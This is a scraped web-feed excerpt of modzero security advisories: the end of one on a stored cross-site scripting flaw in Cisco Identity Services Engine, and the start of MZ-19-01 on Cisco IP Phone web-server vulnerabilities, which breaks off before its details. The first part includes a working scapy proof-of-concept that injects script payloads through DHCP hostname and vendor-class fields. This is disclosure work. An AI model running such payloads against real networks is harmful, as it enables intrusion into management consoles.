</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. About
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Affected vendor: Cisco
</span></span><span class="line"><span class="cl">Latest known to be vulnerable version products:
</span></span><span class="line"><span class="cl">    * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3
</span></span><span class="line"><span class="cl">      - Product Identifier: SNS-3655-K9
</span></span><span class="line"><span class="cl">      - Version Identifier A0
</span></span><span class="line"><span class="cl">      - ADE-OS Version 3.0.5.144
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Cisco Identity Services Engine is the engine behind Cisco&#39;s Network
</span></span><span class="line"><span class="cl">Access Control  solution. It  enables the  creation and  enforcement of
</span></span><span class="line"><span class="cl">security and access policies for endpoint devices connected to the
</span></span><span class="line"><span class="cl">company&#39;s routers and switches.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An unauthenticated attacker who is  able to inject a specially  crafted
</span></span><span class="line"><span class="cl">DHCP  request  packet into  the  network controlled  by  Cisco Identify
</span></span><span class="line"><span class="cl">Service  Engine  (ISE),  is  able to  persistently  store  code  (e. g.
</span></span><span class="line"><span class="cl">JavaScript),  which  is  executed in  the  context  of the  Web-browser
</span></span><span class="line"><span class="cl">accessing the Web-based management interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The vulnerability is due to insufficient validation and encoding of the
</span></span><span class="line"><span class="cl">attacker-controllable  input  within  the  hostname  and  vendor  class
</span></span><span class="line"><span class="cl">identifier field of processed DHCP request packets.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The attacker-controlled  code will  be executed  in the  context of the
</span></span><span class="line"><span class="cl">user  of the  Web-based management  console. If  a legitimate  user is
</span></span><span class="line"><span class="cl">reviewing  an  Endpoint&#39;s  attributes  within  the  Identity   Services
</span></span><span class="line"><span class="cl">Engine&#39;s Web- based-management-interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The attacker-controlled  code will  be executed  in the  context of the
</span></span><span class="line"><span class="cl">user that is currently logged  in to the Web-based management  console,
</span></span><span class="line"><span class="cl">when  the  endpoint  attribute  details  are  reviewed  by  opening the
</span></span><span class="line"><span class="cl">following
</span></span><span class="line"><span class="cl">URL:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The code will be executed with the rights of the user accessing the Web-
</span></span><span class="line"><span class="cl">based management console. If the user has administrative rights, the
</span></span><span class="line"><span class="cl">attacker might be able to leverage arbitrary functions of the Web-based
</span></span><span class="line"><span class="cl">management interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of Concept exploit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Using the following python script, two simple JavaScript code fragments
</span></span><span class="line"><span class="cl">will be sent in the hostname and vendor class identifier fields of the
</span></span><span class="line"><span class="cl">DHCP request.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#!/usr/bin/env python
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">from scapy.all import *
</span></span><span class="line"><span class="cl">import scapy
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">conf.iface = &#34;eth0&#34;
</span></span><span class="line"><span class="cl">hostname_payload = &#34;&lt;script&gt;alert(&#39;hostname payload&#39;)&lt;/script&gt;&#34;
</span></span><span class="line"><span class="cl">vendor_class_id_payload = &#34;&lt;script&gt;alert(&#39;v class id payload&#39;)&lt;/script&gt;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_, hw   = get_if_raw_hwaddr(conf.iface)
</span></span><span class="line"><span class="cl">ethernet = Ether(dst=&#39;ff:ff:ff:ff:ff:ff&#39;, src=hw, type=0x800)
</span></span><span class="line"><span class="cl">ip       = IP(src =&#39;0.0.0.0&#39;, dst=&#39;255.255.255.255&#39;)
</span></span><span class="line"><span class="cl">udp      = UDP (sport=68, dport=67)
</span></span><span class="line"><span class="cl">bootp    = BOOTP(op=1, chaddr=hw)
</span></span><span class="line"><span class="cl">dhcp     = DHCP(options=[(&#34;message-type&#34;,&#34;request&#34;), \
</span></span><span class="line"><span class="cl">    (&#34;hostname&#34;,hostname_payload),(&#34;vendor_class_id&#34;, \
</span></span><span class="line"><span class="cl">    vendor_class_id_payload),(&#39;end&#39;)])
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">packet   = ethernet / ip / udp / bootp / dhcp
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sendp(packet, iface=conf.iface)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Once a person reviews the attributes of an endpoint within the ISE web-
</span></span><span class="line"><span class="cl">based management interface the code will be executed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workaround
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">No software updates are available yet.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * Max Moser
</span></span><span class="line"><span class="cl"> * Katharina Maennle
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent company modzero assists clients with security  analysis
</span></span><span class="line"><span class="cl">in  the  complex areas   of  computer technology.  The  focus  lies  on
</span></span><span class="line"><span class="cl">highly   detailed   technical  analysis   of   concepts,  software  and
</span></span><span class="line"><span class="cl">hardware  components  as  well   as  the  development  of    individual
</span></span><span class="line"><span class="cl">solutions.  Colleagues   at modzero  work   exclusively in   practical,
</span></span><span class="line"><span class="cl">highly technical computer-security areas and can draw on decades of
</span></span><span class="line"><span class="cl">experience in various platforms, system concepts, and designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Website: https://www.modzero.ch
</span></span><span class="line"><span class="cl">E-Mail: contact@modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is believed to be accurate at the time
</span></span><span class="line"><span class="cl">of publishing  based on  currently available  information. Use  of the
</span></span><span class="line"><span class="cl">information  constitutes acceptance  for use  in an  AS IS  condition.
</span></span><span class="line"><span class="cl">There are no warranties with  regard to this information. Neither  the
</span></span><span class="line"><span class="cl">author  nor  the  publisher  accepts  any  liability  for  any direct,
</span></span><span class="line"><span class="cl">indirect, or consequential loss or damage arising from use of, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-19-01] Cisco Phone Webserver Vulnerabilities</title><link>https://modzero.com/en/advisories/mz-19-01-cisco-phones/</link><pubDate>Wed, 20 Mar 2019 00:00:00 +0200</pubDate><author>David Gullasch</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-19-01-cisco-phones/</guid><description>Multiple vulnerabilities in the web interface of the Cisco IP Phone 7800 and 8800 series</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">Multiple vulnerabilities in the web interface of the Cisco IP Phone
</span></span><span class="line"><span class="cl">7800 and 8800 series [MZ-19-01]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2018-06-28: Report with findings delivered to a customer and
</span></span><span class="line"><span class="cl">  findings have been reported by our customer to Cisco.
</span></span><span class="line"><span class="cl">* 2018-11-21: This advisory has been sent to the Cisco security team
</span></span><span class="line"><span class="cl">  (psirt@cisco.com) to get a status regarding security patches.
</span></span><span class="line"><span class="cl">* 2018-11-21: Initial response from PSIRT to us.
</span></span><span class="line"><span class="cl">* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
</span></span><span class="line"><span class="cl">  CSCvn56194, CSCvn56213, CSCvn56221
</span></span><span class="line"><span class="cl">* 2019-01-23: Information from Cisco that other phones are affected
</span></span><span class="line"><span class="cl">  as well and they still work on a fix.
</span></span><span class="line"><span class="cl">* 2019-02-19: 90 days period for keeping detailed information back is over.
</span></span><span class="line"><span class="cl">* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension agreed
</span></span><span class="line"><span class="cl">  by modzero.
</span></span><span class="line"><span class="cl">* 2019-03-06: Received CVE-IDs from Cisco
</span></span><span class="line"><span class="cl">* 2019-03-20: Cisco releases advisory and fixes
</span></span><span class="line"><span class="cl">* 2019-03-20: Advisory published
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Cisco
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.1 Buffer overflow in the phone&#39;s webserver
</span></span><span class="line"><span class="cl">  CVE-2019-1716
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -&gt; 8.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 10.3(1)SR5 for Unified IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.2 Phone&#39;s web interface fails to restrict access to functions
</span></span><span class="line"><span class="cl">  CVE-2019-1763
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -&gt; 8.2
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821 and 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.3 File upload vulnerability in the phone&#39;s web interface
</span></span><span class="line"><span class="cl">  CVE-2019-1766
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -&gt; 9.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * IP Phone 8800 Series products running a SIP Software release prior to 12.5(1)SR1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * Cisco Wireless IP Phone 8821(-EX)
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.4 Phone&#39;s file upload affected by path traversal and null injection
</span></span><span class="line"><span class="cl">  CVE-2019-1765
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -&gt; 9.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 8.1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s
</span></span><span class="line"><span class="cl">  upload function
</span></span><span class="line"><span class="cl">  CVE-2019-1764
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -&gt; 7.3
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco:  8.1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.1 Buffer overflow in the phone&#39;s webserver
</span></span><span class="line"><span class="cl">
